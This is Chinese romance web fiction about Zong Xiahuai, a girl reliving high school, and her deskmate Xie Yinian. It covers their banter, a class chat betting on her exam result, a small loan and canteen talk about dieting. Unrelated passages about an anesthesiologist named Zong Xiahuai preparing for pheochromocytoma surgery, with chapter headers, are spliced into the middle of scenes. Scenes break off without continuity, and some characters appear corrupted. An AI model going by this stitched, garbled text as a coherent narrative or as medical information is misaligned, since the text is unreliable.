宗夏槐又随口问了几句,竟发现,谢宜年现在的想法与前世最后的结果完全不一致。 到底是什么让他做出这一改变? “打算考什么大学?” “临大。” “想学什么专业?” “天文。” “你觉得我会输?” 宗夏槐眉一挑,来了兴趣。 “我想你赢。”少年少有的收起漫不经心,神色认真。 但谢宜年就算是再自信,也不敢说自己能一个月从年级倒数考到全校第一,定定看了她几秒,又平静说:“如果不行,我也希望你不要输的太惨。” “为什么关心我?”宗夏槐不解,“我们似乎并无太大关联,还没有达到那种与有荣焉的关系。” 谢宜年目光一顿,自己也想不明白,但仍旧挑眉散漫说:“关爱同学是一个人最基本的道德品质,恰好,我有。” 宗夏槐瞬间轻笑出声:“以前怎么没发现你这么道德优良。” 记得前世,这位哥,那可是冷漠刻薄的很。 前世同桌时,有很多女生给谢宜年塞情书送奶茶。 被她撞见的就有好几次,人女孩情书奶茶还没送出手,那位哥就长腿一抬走了。 可谓是十分不留情面。 明着来不行,于是暗着来,后来谢宜年每天上学第一件事,掀开桌板取出塞满的情书丢进垃圾桶,有时晚饭大课间回来,桌上还会莫名其妙多一杯奶茶,问也不知道谁送的,那位哥就随手一拎搁她桌上。 她那时候正减肥呢,一边啃苹果咽白开水一边拒绝:“我不要。” “不要就丢了吧。”谢宜年桃花眼幽幽,抓住了她的把柄一样,“你也不想浪费粮食吧。” “……” 本着不浪费粮食的原则,前世她不知帮谢宜年消受了多少其他女生送的奶茶。 那时她小声埋怨谢宜年是她减肥路上的绊脚石,谢宜年还要刻薄她:“你每天一杯奶茶当补营养了。” “……” 宗夏槐现在想起前世的这些事,还真是:我真是谢谢你了…… 思绪忽然被一道声音打断。 “没发现吗?”少年的声音带着几分耐人寻味,“那可能是你以前眼盲心瞎。” 宗夏槐:“……” 操,这话她竟无法反驳。 “另外。”少年又漫不经心扬起声音。 “你不是一般同学,你是我唯一的同桌。” “?!” 宗夏槐脑子“轰”的一下炸开了,缓缓转过头,满脸不可思议地去看谢宜年。 四目相对那一瞬。 谢宜年似乎也察觉到自己这话有些歧义,极快地闪了下睫,纤长浓密漆黑如鸦羽,幽微地扫进人心底,少年再懒洋洋掀起眼皮,又是那一幅玩世不恭的淡漠模样:“这话没毛病。” “……” 行,没毛病。 “你对你以前的同桌也说过这句话吗?”宗夏槐眨眨眼。 “没。”少年声线很淡。 宗夏槐不自觉出神,浮想联翩。 没对以前的同桌说过,那就是,只对她说过,她是他同桌,她区别于其他同学,她独一无二…… 谢宜年又挑眉说:“我以前同桌都是段锐。” “……”宗夏槐瞬间面无表情,好吧是她想多了。 晚自习的铃早就打了。 宗夏槐不想再浪费时间闲扯,抽出张数学卷子开始写。 谢宜年在一旁见了,沉默片刻,忽然问:“你数学和物理怎么样?” 宗夏槐笔一顿,转过头去看他,目光疑惑不解。 谢宜年神色寡淡,声音也平直:“需要的话,我可以帮忙。” 宗夏槐瞬间笑出了声:“我觉得我成绩应该比你好。” 记得前世,这一次月考,谢宜年总分比她还低一分,谢宜年全班倒数十八,她全班倒数十九,他俩一整个菜的半斤八两。 只不过这一世,谢宜年刚转来附中,还没有月考,还没有人知道谢宜年的真实水平。 也没有人知道她重来一世,没有人知道她早已考过全校第一。 谢宜年其实早就看过宗夏槐上学期最后一次考试成绩——他这辈子都没考过那么差的成绩,闻言扯唇一笑,满眼散漫里明晃晃写着“在我这就别装了吧?” 宗夏槐觉得自己有必要纠正一下谢宜年的这种错误想法,扬睫故意问:“你们大少爷也学习吗?” “我觉得你对我的刻板印象有点深。”谢宜年眉一挑,神色轻狂,“你少爷我不光学习,学的还不错。” 宗夏槐更想笑了,心想哥们你装逼也不打个草稿,你什么德行前世我一清二楚,于是缓缓凑近脸,睁大眼睛直直盯着谢宜年,故意悠悠着语气说:“是吗?我怎么有点不太相信呢?” 谢宜年唇瞬间抿成一条直线:“……” 好不容易关爱同桌一次…… “你就是这么对待同桌的关爱?”谢宜年眸轻敛,深邃浓郁中显出些微愠色。 宗夏槐闪闪睫:“……” 怎么说的她跟个白眼狼一样。 “我就是觉得,你更应该多多关心一下自己的成绩。”宗夏槐尽量显出认真的无辜眼神。 “……” 还是断定他不学无术呗。 谢宜年觉得自己这辈子都没这么被质疑过。 “不过,你那个成绩,是怎么想到帮助别人学习的?”宗夏槐又若有所思。 谢宜年:“???” 得,真行,质疑还不够,还嘲讽上了。 “没没没!”宗夏槐一看谢宜年那冷冷的神色,连忙解释,“没有不好的意思,就问问,别误会。” 谢宜年:“……” 默了片刻。 少年神色无澜,淡淡开口:“帮助他人这事儿从来不需要考虑。” 宗夏槐一时愣住,过了一会儿,才点点头:“那你人还不错。” 谢宜年:“……” “偷偷告诉你,我成绩还不错。”宗夏槐又凑近,在他耳侧轻声说。 这声音绵绵呼呼,轻缓柔软又没有一丝杂质,像纯白的奶油蛋糕上细细地撒上一层糖霜,谢宜年陡然一定,耳廓被温和的气息拂过,有些些发热。 “不用太担心。”少女的声音又带出笑意,似银铃。 谢宜年僵在那儿,感觉自己有点心律不齐,可能需要去医院查查。 宗夏槐撩而不自知,很快转回去写题。 前世休学在家,她除了强迫自己不吃饭,强迫自己不停运动,还会强迫自己没日没夜学习。 她好像被一个漩涡所围绕着,她要更瘦一点,成绩更好一点。 无休无止,即使已经到了病态的程度。 不停下来她会永远陷在里面,停下来她又会因为焦虑而无比痛苦。 所导致的是,近五年内所有能找到的卷子她都刷了个遍,各类题型的解法早已烂熟于心,分数也已经提升到了极限。 时间和重复,能改变一切。 但重来一世,她仍旧不敢放松。 她害怕意外,害怕失误,害怕输给黎梦,或许只有月考成绩出来那一天,她的一整颗心才能真正悬下去。 宗夏槐迅速刷完一张卷子,才喝了口水,转头去看谢宜年。 谢宜年面前摊着本物理,也在刷题。 少年仍旧是那副漫不经心模样,笔松松夹在冷白细长的指间,要握不握,目光掠了一眼题,在一旁草稿纸上演了几秒,一个答案就划拉上去了。 就是这么随意。 字迹锋利而张扬,一笔划就,占了一整个括号,力透纸背。 就很谢宜年。 至于答案正确与否。 宗夏槐定睛一看,对的?! 宗夏槐猛然就想起了前世关于谢宜年成绩的一些事。 前世,这一次月考,谢宜年虽然总分班级倒数,但物理和数学却是接近满分。 后来才听说,谢宜年高一是在国外读的,回国内上高二相当于一切从零开始。 然而她休学后,谢宜年又一声不响考上全校第一,一跃成万人膜拜的年级大佬。 再听说谢宜年,就是在何田田的升学宴上,谢宜年高考是临城理科状元,A大B大随便上的分数,却报了雪城大学。 雪城大学倒也不差,全国理工科TOP5的高校,然而所有人都没有想到,谢宜年报的专业却是,心理学。 心理学,是她想学的专业,她想把自己治好。 雪城,是她生父生母,也就是萧家,的所在地。 重来一世,宗夏槐自认为对绝大多数事情都洞若观火,唯独谢宜年,她怎么也看不明白。 又或许,她从一开始就没有看明白过。 不过,可以确定的一点是,谢宜年将会是她考上全校第一路上的一个极大变数。 她一直都明白自己跟谢宜年这种天赋型选手的区别,一张一百分的卷子,她考一百分是因为掌握了一百分的知识点,谢宜年考一百分是因为满分只有一百分。 宗夏槐还坐位置上发呆,不知不觉已经到了快下晚自习的时间,班上开始骚动起来。 何田田趁机转过头,偷偷瞅了眼谢宜年,又看向她小声问:“槐槐,你看手机了没?” 宗夏槐回过神来,伸手去书包里摸手机:“没,怎么了。” 何田田迅速看了眼一旁的谢宜年,欲言又止,指了指她的手机:“那个……你看了就知道了。” 宗夏槐立马开机。 直到这时,她才看见班群里的惊天大震撼。 不知是谁起的头,晚自习有人在班群里匿名聊天。 话题中心,自然是她和黎梦之间的赌注。 铁扇公主:【你们说宗夏槐能考全校第一吗?】 银角大王:【你信她还是信我是玉皇大帝。】 玉皇大帝:【+1】 …… 牛魔王:【不过应该没这么简单吧?】 红孩儿:【一个月教我从年级倒数考上全校第一我当场拜你为曾孙!】 太上老君:【你们这关系有点乱啊[捂脸笑]】 …… 牛魔王:【我还是觉得宗夏槐会赢,说不定她暑假在家好好用功了呢?】 金角大王:【@铁扇公主,快来让你老公清醒清醒。】 玉面狐狸:【好的呢[娇羞]】 就这么乱七八糟扯了会,突然开始纷纷下注。 队形出奇的一致。 猪八戒:【一把瓜子赌黎梦。】 红孩儿:【一包辣条赌黎梦。】 牛魔王:【一瓶旺仔赌黎梦。】 白龙马:【一袋软糖赌黎梦。】 …… 突然,出现了一个实名的半暗宜空头像。 B612:【我赌宗夏槐。】 下了晚自习,篮球场。 谢宜年纵身一跃,投了最后一个三分球,球“嗖——”的一声落入篮网,在地面弹跳了几下,越来越低。 球场边缘却忽然闯进来一道长长的影子。 最先听到的是声音。 “班长,喝水。” “……” 谢宜年一转头。 就见段锐那狗逼从宗夏槐手中接过瓶矿泉水,但朝他耀武扬威:“槐妹儿,谢谢啊!” 宗夏槐表情明显就是一怔,又把另一瓶矿泉水递给谢宜年:“你也喝水。” 谢宜年接过拧开,仰头喝了口,喉结凸出滚动,声线清冷,说段锐又像是说宗夏槐:“人家有名字。” 段锐一天不欠不舒服:“哦,宗夏槐。” 宗夏槐:“……” 见场上再没其他人,宗夏槐忍不住问:“每天就你们两个人打球?” “他那个样子,也就他爹我肯天天陪他玩两下。”段锐说。 “为什么你是他爹。”宗夏槐忍着笑问。 “因为我比他大。”段锐贼得意。 “……”谢宜年面无表情,“要点脸吧,有本事等下别搭我家车回去。” “哥哥哥我错了!”段锐立马认输。 “你们这关系好乱啊。”宗夏槐笑。 “惹不起惹不起,真得叫他声哥。”段锐说,“小学的时候吧,当时咱俩一起放学回家,路上遇到小混混打劫,他比我小,当时还比我矮半个头,眼都不眨一下,一板砖就下去了,从此他就是我哥。” “……” 宗夏槐忍不住转头看了谢宜年一眼,心想,校霸都是有前科。 谢宜年喝着水,扬扬眉,浑不在意。 “所以他打球很菜,没人跟他玩吗?”宗夏槐回到正题,问。 谢宜年一口水差点呛到,心想他形象就这么不堪吗? 段锐笑得要死,扬扬眼:“你等下就知道了。” 谢宜年已经一把揽过球,压腕拍了几下,吊儿郎当站那儿,笑意散漫模样。 “一起玩吗?” 对方很客气:“请过内分泌会诊了,复查各项指标都很好,我们之前请过会诊,现在就是想再评估一下,这个病人也住了有一段时间了,我们准备这周把瘤子开掉……” 恰好宗夏槐去换谭月吃饭,便问起这个病人,谭月朝她微笑:“哦,你说这个病人啊,这可是个烫手山芋。” 其实不用谭月说,宗夏槐也知道。 嗜铬细胞瘤是一种肾上腺髓质的肿瘤,是比较罕见的肿瘤。正常人体内的肾上腺髓质释放正常量儿茶酚胺进入血液,作用于全身器官的相应受体。 儿茶酚胺是人体的一种兴奋剂,主要兴奋血管的α受体,使血管收缩,维持血压,保证重要脏器的供血。 但是老话说得好,过犹不及,而且人体生理讲究的就是平衡之道。 患有嗜铬细胞瘤的病人体内肾上腺髓质会持续释放大量儿茶酚胺,促使交感神经经常处于过度兴奋状态,短时间内血压急剧升高,收缩压可达300毫米汞柱,出现高血压危象、休克、左心衰竭或多器官功能衰竭。严重时导致死亡。 对麻醉医生来说,它是一种围术期死亡率较高的神经内分泌肿瘤。 谭月降低声音:“而且这个病人,你说谁肯麻?哪个老大愿意麻?现在科里就发这么点钱,谁愿意担责任?” 第 59 章 第 59 章 宗夏槐苦笑:“你这可是留了个难题给我。” 谭月说:“这不是赶巧嘛!他们之前请会诊的时候还没请内分泌看过,现在就拖到你这里了。不过你也别忧心思,这个人的手术总归是要做的,又不能拒掉,要是真评估了可以做,你到时候就正常排班呗,排到哪个算哪个,总归是工作……” 谭月压低声音:“又不是菜市场里的大白菜,任他们挑选!” 主麻挑房间挑人的事情,一直都有,但是从前宋主任在,一来宋主任规矩严,二来宋主任能担事肯为自己人出头。现在形势不同了,大家更愿意明哲保身。 谭月肯把话和她直说,宗夏槐心里领这一份情,说:“谢谢。” 谭月见宗夏槐并不怨天尤人,因此又把她叫住:“我觉得你到时可以排……带这个房间,她年资高经验丰富,而且为人谨慎,就是脾气不大好。你最多被她说几句,但她还是会听你安排的。” “至于下面小的……”谭月嘿嘿一笑:“我来做怎么样?这个病人说到底是从我手里留下来的,我也不坑你,给你把这事搞定了!” 宗夏槐脑子里瞬间像投下了一枚原子弹,被炸的一片空白,什么也听不见。 手指还下意识往屏幕下滑动。 然而群内再没人发言,只剩几行刺眼的群内提示。 【“银角大王”撤回一条消息。】 【“玉面狐狸”撤回一条消息。】 【“牛魔王”撤回一条消息。】 【“段锐”关闭群内匿名聊天。】 估计是一开始看到“B612”拽的二五八万群备注都不改一个,还实名力挺她,纷纷开嘲讽。 后续间接得知或猜到其真实身份是谁也惹不起的谢宜年,火速撤回,纷纷噤声。 段锐也真是好兄弟,滥用职权关了群匿名,谁还敢在群里说话。 谢宜年直接被架在了那儿,装了回大的。 又或者说,是她和谢宜年一起被架在了那儿。 宗夏槐脑子空白了几秒,缓缓转过头。 谢宜年正懒散靠椅子上,垂着眼皮收书包,声音也漫不经心:“都赌黎梦,多没意思。” 宗夏槐定定盯着他,张了张嘴,欲言又止。 谢宜年又说:“都说了,你是我同桌。” 宗夏槐终于忍不住问出口:“所以呢?” 谢宜年挑眉看了她一眼:“你就我这么一同桌,我再不支持你,会不会不太当人?” 宗夏槐蹙了下眉,慢吞吞说:“你是不是觉得我很惨?” 谢宜年闪了下睫,收起漫不经心:“我一直觉得可怜不太尊重人,你可以理解为,我拥有一个人所应有的人道主义精神。” 宗夏槐内心颤了下,眼一挑:“为什么是我?” “我这个人天生不嫌事大。”少年又摆出那副吊儿郎当的模样,笑意轻狂,“天生看不惯有些事,与你无关。” 宗夏槐忽然极轻地笑了声,明晃晃看向谢宜年:“你是不是电视剧看多了,觉得那样在群里来一句‘我赌宗夏槐’很帅?” 谢宜年:“……” 不识好歹,得寸进尺,给台阶不下还顺杆爬上来扯人裤脚。 真行。 宗夏槐单手支起脸,神色傲然,仿佛俯视一切,悠悠点头:“那恭喜你,赌对了。” “……” 坑我就对了是吗? 正好打了下晚自习的铃。 谢宜年不欲再说,单肩挎起书包就要走,正要抬步,又停住。 少年高高站在白炽灯下,黑发被晕开一层恣意的光,校服校裤一尘不染,背影挺拔又透出吊儿郎当,声音漫不经心。 “哥第一次跟人打赌,不要让我输的太惨。”- 宗夏槐写了会儿题,仍旧留了二十多分钟去操场跳绳。 训练完丢开跳绳,眼前又递过来一瓶矿泉水。 宗夏槐接过水抬起头,却看到了段锐。 “班长怎么是你?” “只许谢宜年送不许我送?”段锐眉一挑,转身示意。 不远处的操场上,谢宜年正一边半仰起头喝水一边朝这边走来,少年高大的身影浸在喧嚣又昏暗的夜里,显出些微清冷和孤寂。 待谢宜年走近,又冷冷瞟了段锐一眼。 段锐立时不满:“怎么,只许你当好人不许我当?” 谢宜年懒得理,跟着宗夏槐往看台边走。 宗夏槐一边走,一边拧开矿泉水灌了几口,想着一瓶水天天两块钱转来转去也不是办法,回过头:“班长,你们每天都打球是吧?水我明天还你。” 话音刚落,谢宜年步子就是一顿,站那儿直直看着她,扯唇微冷,轻讽的目光里明明写着“一瓶矿泉水,我送就还我两块钱,段锐送就有来有回是吧?” 宗夏槐眨眨眼,悠悠盯着谢宜年的眼睛说:“你要想,我也给你买。” “哦。”少年回答的漫不经心。 “……”宗夏槐掀了下眼,爱要不要。 段锐向来看热闹不嫌事大,傻乐着几步跑过来:“槐妹儿,明早上哪吃饭告诉下我呗。” 宗夏槐不明所以:“怎么了?” 谢宜年盯着段锐的目光里都快冷出冰了。 段锐直接忽视,还一把揽过谢宜年的肩,笑嘻嘻:“免得我这傻儿子跟着你拐,又把我骗去食堂。” 谢宜年立马拽开段锐的手,拍拍肩,嫌弃的要死,那目光已经不是冷了,而是想干一架。 段锐摸摸鼻子:“怎么,自己干的事不敢承认?” 谢宜年眉一皱。 “滚。” “……” 宗夏槐看向谢宜年的目光越发意味深长。 好半天,她才说:“如果你早上想跟我一起去食堂,可以直接说。”- 第一天,下早自习铃一打。 谢宜年吊儿郎当坐一旁,指尖轻转着饭卡,果然漫不经心说:“去食堂?” 宗夏槐:“……” 有求于人要不要这么拽…… 总算一起去了食堂。 买好饭,四人找了个位置坐下。 谢宜年看着对面宗夏槐的早餐,终于忍不住问:“你现在早上怎么不吃苹果了?” 不光不吃苹果,还一碗杂酱面,一杯豆浆,又加了一根油条……全都是高油高热量,简直两个极端。 “苹果没饭好吃。”宗夏槐扯了一段油条泡进豆浆里,浸满水淋淋的奶白,一口咬下去松软又香甜,“我有减肥的自由,同样有吃饭的自由,两者不冲突。” 谢宜年哪敢说话啊:“……” “人不吃饭会死,人不减肥也就胖一时。”宗夏槐美滋滋地拌了拌杂酱面,“再说了,我现在已经少吃很多了,每天一到饭点就饿得要死。” “真的!”何田田咬着饼点头,“昨天下了晚自习让槐槐跟我一起去吃夜宵她都不去!” 段锐一碗粉吸溜的贼快:“天天学习已经够累了,吃个饭还要考虑那么多一头撞死算了。” “……” 谢宜年:怎么就显得他跟个坏人一样。 安静了会。 谢宜年面前的炸酱面吃了一半,筷子一撂不打算吃了,懒懒往椅子上一靠,正吸着豆奶。 看见对面宗夏槐一碗杂酱面吃的一根不剩,正津津有味夹着碗底的酸豆角。 谢宜年顿时感到怀疑人生。 他们吃的真的是同一个窗口的杂酱面吗?怎么食堂这么勉强的味道也能被这姑娘吃出国宴的感觉? 是因为太饿了吗? 不过,这姑娘好像每次一吃东西就一副贼幸福贼满足贼快乐的样子…… 谢宜年又看着宗夏槐将碗底的酸豆角夹的一干二净,去收残处都不用磕两磕的那种,终于忍不住发出灵魂拷问:“那你为什么还要减肥啊?” 宗夏槐抬起头,将筷子轻轻搭在碗沿,又将剩余的半底豆浆喝完:“因为对自己现在的样子不太满意。” 段锐早就吃完了,正擦着嘴,闻言扫了眼宗夏槐。 宗夏槐其实是胖过没丑过,五官很大气,一双眼圆润又透彻,很纯很干净,唇红齿白的,皮肤白皙又细腻,面部饱满,从任何角度去看线条都十分流畅,简直像一块完美的草莓奶油小蛋糕。 身上肉都长在该长的地方,校服都能被撑出型,某种眼光来说,很欲,很辣。 段锐真想不明白了,班上那些女生是怎么说的出来宗夏槐又胖又丑的,难不成非要瘦成骷髅才好看? 大抵社会对女生向来都比较苛刻吧,段锐叹了口气,忍不住说:“其实从男生角度看,太瘦不好看。” 何田田一听,就低头看了看自己的小身板,狠狠咬了几口饼,又抬头说:“不要容貌焦虑啦。” “我也不想,但控制不住自己。”宗夏槐漫不经心将豆浆纸杯、油条袋子和卫生纸一样样捡进杂酱面碗里,觉得自己只要活一天,就要在美食和体重之间抗争一天,永远也无法与自我和解,永远都会焦虑,“不过——” “什么让我焦虑,我就解决什么。” 宗夏槐说完,就端起碗往收残处去了。 谢宜年看着她那坚毅的背影,觉得她还有一句话没说—— 什么让她快乐,她就接受什么。 “?” 又是钱。 这姑娘很缺钱? 谢宜年眉一挑:“转账我就不收了,那点钱还要你还我以后不用在附中混了。” 宗夏槐还在间歇痛苦着。 前世她就只有李秋雅这一个朋友,这一世与李秋雅绝交,她在这个学校再没有一个可以借钱的人,竟还要求助于与她没什么交集的露水同桌谢宜年。 怎么重来一世,还是这么狼狈。 宗夏槐极力让声音平静。 “我知道我们不熟。” 谢宜年:“?” 不熟? 一个多宜期同桌,哥不光帮你付钱,还抱你去过医务室,不熟? 行,不熟。 “既然我们都不熟,那你朝我借钱不合适吧。”谢宜年语气漫不经心,单手支着下颌,远远望着课桌另一侧的少女身影,眸微敛,隐隐透出危险的气息。 宗夏槐一听,眼眶中更为酸涩,头压得更低,声音也再抑制不住:“可我想不到别人了。” 细幽中夹杂着破碎,隐有哽咽。 谢宜年一听就觉着不对劲,这个角度只能看见她侧偏着身,深埋于书本,隐去所有神色,连忙凑过去低头看。 这一看就不得了。 一颗豆大的泪珠顺着少女稚嫩柔软的脸庞缓缓滑下,在流畅圆润的下颌处摇摇欲坠,一瞬间,砸落到书本上,晕开一朵灰败的花。 “好好好我借!” 谢宜年瞬间慌了,不停在心里骂自己,谢宜年你他妈还是人吗?就为了这点破事把人好端端一小姑娘给弄哭了,长本事了啊你,借点钱给人家能死吗?你又不缺那点! 跟着一通手忙脚乱去兜里掏去抽屉里摸去书包里找。 “诶诶诶你别哭了,我没纸了……” 宗夏槐本来已经将泪水忍下,这一听,眼睛瞬间如洪水开了闸,湿热模糊一大片,哗啦啦根本止不住。 不管是前世,还是这一世,她都不想被人看到软弱。 可为什么每一次,都是这样。 每一次都需要谢宜年来可怜她。 谢宜年觉得自己真是遇上祖宗了,拿这小姑奶奶一点办法没有,他这辈子最见不得女孩哭。 少年慌不择路,拍了拍前桌女同学的肩膀,平生第一次有求于人:“同学同学借点纸!” 前桌何田田身子瞬间僵住,脑袋缓缓加载中。 什么?谢宜年跟她说话了?要知道从开学到现在谢宜年跟她一句话都没说过,估计连她叫什么都不知道。 纸?谢宜年找她借纸? 何田田慌忙回过头,眼神惊恐:“纸?” “对,纸,擦眼泪的那个纸。”谢宜年累了,怕何田田听不懂,耐着性子表述,又扬眼示意一旁,“我同桌哭了。” 何田田点头如捣蒜,立马转身从桌上拿过抽纸。 谢宜年迅速抽了一张两张三张觉得根本不够,索性把一整包都拿走:“我下课还你。” 少年又乱七八糟将一大堆纸往她边上堆。 宗夏槐瞬间被淹没在了白色纸巾的海洋里,胡乱扯了一张又一张擦眼泪。 一旁又传来那薄荷味的漫不经心声音。 “刚刚跟李秋雅她们差点打一架的时候不挺厉害的,现在怎么动不动就哭啊?” 宗夏槐瞬间怒意上涌,眼泪也没了,通红着眼眶冷冷转过头,狠狠去瞪谢宜年。 谢宜年还在那副吊儿郎当模样,懒洋洋的桃花眼甚至微微上扬,笑意散漫地看着她,唇轻勾,说出来的简直不是人话:“这不就不哭了。” “……” 服了,狗逼。 宗夏槐依旧双眼通红地死死瞪着他。 谢宜年正了正色,一本正经:“人啊,还是要有点斗志。” “……”宗夏槐忍不住翻了个白眼。 谢宜年顺手收了收桌上的一堆纸:“下次要哭的时候跟我说,我提前准备好纸。” “……”怎么有人可以刻薄成这个样子啊啊啊啊啊!!!!! “我发现吧。”宗夏槐慢悠悠看着谢宜年,“你长得挺人模人样的,但说的完全不是人话。” “……”谢宜年长睫一闪,挺好,能骂人了,证明恢复的不错,又抿了下唇,“说吧,要借多少钱。” 总算说到正事,算这家伙还有点良心。 宗夏槐估计了一下她维持一周基本生活需要的钱,说了个数:“三百。” “啊?”少年眉肉眼可见就是一挑。 宗夏槐小心翼翼掀起睫,巴巴望着他,低声问:“是太多了,借不了吗?” “……” 这姑娘该不会以为他是不肯借吧? “不是。”谢宜年下意识舔了下唇,觉得这事搁哪都没面子,他平时吃顿饭都不止三百,“我还以为你家出了什么大事要三万呢,结果就三百。” 宗夏槐:“……”不愧是大少爷。 “喏,三百。”谢宜年随手拿过手机按了几下,“转过去了,不用还了。” 宗夏槐没立刻收,想着等到实在撑不下去的时候:“我会还你的。”- 第一节晚自习下课,宗夏槐桌前来了个不速之客。 黎梦站那儿,蹙眉看着她:“罗雨晴到现在还在哭,你去给她道个歉呗。” 宗夏槐瞬间气笑了,一下下点着笔,悠悠打量着黎梦,想知道她脑子里是不是都是水,“罗雨晴哭关我什么事啊?” 黎梦坚持:“是你把她弄哭的。” “谁哭谁有理?”宗夏槐眉一挑,“那我现在给你哭一个,你跪下给我磕个头呗。” “你!”黎梦说不过,“我不管,你现在去给她道歉。” 谢宜年依旧吊儿郎当坐一旁看戏。 段锐正好来找谢宜年,站一旁都看呆了,我去,这是什么操作啊,太抽象了。 才想着看宗夏槐开撕,结果。 “行啊。”宗夏槐勾唇一笑,咬字很重,“我去。” “哈?”段锐震惊。 谢宜年悠着眼看着宗夏槐起身往前排走去的身影,勾唇一笑:“看好了。” 宗夏槐两手撑在课桌边沿,居高临下冷眼看着罗雨晴,唇角扯着轻笑,陈述语气,字字有力,又不失礼貌。 半个教室都听到了,议论纷纷。 “我去,牛逼了,在背后说人坏话被骂哭了还要人道歉!” “宗夏槐真是倒了八辈子血霉,摊上这两人,纯纯无理取闹。” “哈哈哈哈哈笑死我了,我这个人向来心胸狭隘,睚眦必报!” 黎梦气死了:“宗夏槐你怎么这样!” 宗夏槐直起身拍拍手,眼神轻蔑一挑,平淡说完最后一句:“所以我建议,你们直接向我道歉。” “我让你给罗雨晴道歉,不是我们给你道歉。”黎梦见宗夏槐要走,立马拦住。 宗夏槐双臂一抱,挑挑眼:“等你什么时候给我下跪磕一个再说吧。” “拽翻了!” “宗夏槐什么时候变得这么牛逼了?” “兔子急了也会咬人呢,还不是她们欺人太甚。” 段锐似乎已经接受了宗夏槐拽姐的设定,笑得不行:“你说她们惹谁不好,非要惹宗夏槐。” 谢宜年眉眼轻挑,懒洋洋伸手:“手机。” 段锐傻乎乎,立马把手机掏了递过去。 谢宜年起身,朝教室外走去:“别光看戏了。” 五分钟后。 两人从班主任办公室走出来。 段锐大有要拼命的架势:“谢宜年你个混蛋,赔我手机!” “老吴要收你手机我有什么办法,就当为反校园霸凌做贡献了吧。”谢宜年双手插兜散散漫漫下楼梯,“大不了下次趁着办公室没人偷回来,你又不是没干过。” “……”毕竟从小玩到大的亲兄弟,段锐再气也就两个字,“狗逼。” “身为班长,带头带手机进校园。”谢宜年这时候倒是一副正义模样,拍拍段锐肩,“锐啊,好好学习吧。” “你还好意思说我。”段锐嫌弃拿开,又觉得没什么好说的,“你那功课,自己看着办吧。” 两人去楼下买了水。 谢宜年拎了一提抽纸还了何田田。 何田田震惊:你们有钱人还东西都是这样的吗…… 很快上晚自习,今天是班主任吴作舟的生物。 铃打了一会儿,吴作舟才走进教室。 “我刚刚听说了班上女同学晚饭时间在教室里起矛盾的事,我个人认为,高中是人一生中最美好的时光……” 班上人都知道说的是谁,看看宗夏槐,看看李秋雅,又看看黎梦和罗雨晴。 然而吴作舟讲了将近十分钟,总体高拿轻放,没什么实质性内容。 段锐撇撇嘴,有点不爽,自己折了一个手机却没什么结果。 谢宜年目光没什么变化,他的目的差不多达到了,这种事可大可小,本来就很难处理,他没指望吴作舟能干什么,也就起个震慑作用,让李秋雅她们稍微知道点收敛不要太过分。 他主要是,很难什么也不做,那还算同桌吗。 宗夏槐埋头写题,没怎么在意。 前世她就知道,人生在世,能够依靠的只有自己。 只有自己足够强大,足够勇敢,才能够永远维护自己。 这一世,她终其所有,都将永远为自我的自由与荣光而战斗。 谢宜年笔一顿,看向一旁,声音放温和了点,总算是有安慰人的样子:“没事,以后日子还长。” 宗夏槐笔不停,点头:“嗯,有的是时间。” “……” 怎么感觉,这姑娘怎么一点都不像是失望的样子。 反而有点,跃跃欲试?- 很快放学。 宗夏槐在教室花十几分钟写完剩下的半面试卷,收拾好书包,拎着无绳跳绳去了操场。 篮球架下。 谢宜年才打完一场,正仰头喝着水。 段锐突然说:“宗夏槐在那干什么呢?” 四人出了食堂,路过教学楼下的光荣榜。 光荣榜第一,是陈泽。 何田田忍不住驻足看了两秒,说:“陈泽虽然借女生钱不还人品差,但成绩好,长的也可以,好像还是有不少女生喜欢他。” 宗夏槐跟着看了眼,想起前世的一桩大案,不由露出轻蔑一笑:“人品可以是装的,成绩自然也可以是假的,只有帅是藏不住的。” 谢宜年一听,不由唇角轻勾,理了理校服领子,又整了整头发。 段锐一旁看着嫌弃的要死,恨不得离他八里地远。 “说起来,”何田田想了想,“陈泽确实不是学校最帅的。” “他也就因为成绩好,你们给加了滤镜。”宗夏槐实话实说,“其实长的很一般。” 谢宜年轻咳了声,让自己有点存在感:“所以看男生不能光看成绩,还是得看脸。” 宗夏槐沉吟片刻:“不过找对象还是得找成绩好的,太笨的不喜欢。” 谢宜年:“……” 段锐笑的要死,凑近小声犯贱:“儿啊,要不要爹给你补补课?” 谢宜年抱臂冷冷看了段锐一眼,比了个“滚”的口型。 “我也!我是智性恋!我觉得成绩好的男生特有魅力!”何田田狠狠赞同的同时,又看了眼光荣榜,跟着叹了口气,“好羡慕陈泽啊,怎么考到第一的,我要成绩跟他一样好就好了。” 宗夏槐讽刺一笑,又很认真的看向何田田:“你喜欢成绩好的,那你变成成绩好的不就行了。” 何田田回过头,一时愣怔。 宗夏槐又深深地看了她一眼。 “与其慕强,不如变强。” 何田田呆呆点头,若有所得,接着弯起宜宜眼。 “槐槐,我突然觉得你好有智慧!” 宗夏槐笑而不语。 其实前世,她也是花了很久才明白,这一世,帮助他人也会觉得快乐。 谢宜年在一旁看着,不自觉扬了扬眼。 头一次觉得,一个人会因为另一个人思想中的吉光片羽而折服。 从宗夏槐身上,他好像总能看到一些不一样的美好品质。 段锐在一旁看到谢宜年那神情:完了……- 晚饭四人同样是一起去校外吃的。 回来时,谢宜年桌上却多了杯奶茶。 一看就知道是女生送的。 谭月是住院医师,刚当完住院总,目前在排队升主治的那一梯队里。她肯做这场手术的辅麻,对宗夏槐来说,实在是意外之喜。 二值和小一值说:“你单子上都记清楚,免得后面出事说不清楚。” 宗夏槐还有事要忙:“那我先走了。” 宗夏槐走的时候没看谢宜年,她心里还记挂着排班的事情,也没顾得吃晚饭,又坐进麻醉办公室一搞搞到9点。 宗夏槐又检查了一遍排班表,确认无误后才发到了工作群里:【明日排班,请各位老师查收。@所有人】 有人敲她的门。 宗夏槐说:“请进。” 宗夏槐本来以为是自己科的人,一般这个点,手术基本结束了,最多剩一两间,她抬头一看,发现是谢宜年。 谢宜年进来的时候顺手带上了门,好像是有话和她说。 她想站起来,却脑袋一晕,宗夏槐下意识地去抓能够扶手的东西,被谢宜年带到了怀里。 “小心。” 偏偏流年不利,又有人推门进来:“师妹,我结束了……” 徐同和目瞪口呆。 第 60 章 第 60 章 其实谢宜年只是扶了宗夏槐一下,但是有感情的男女和没感情的男女是不同的,所以这一扶就让徐同和看出了他们之间的暧昧。 “师妹……你们……” 徐同和说话都结巴了,大概是没想过这两人之间能发展什么。 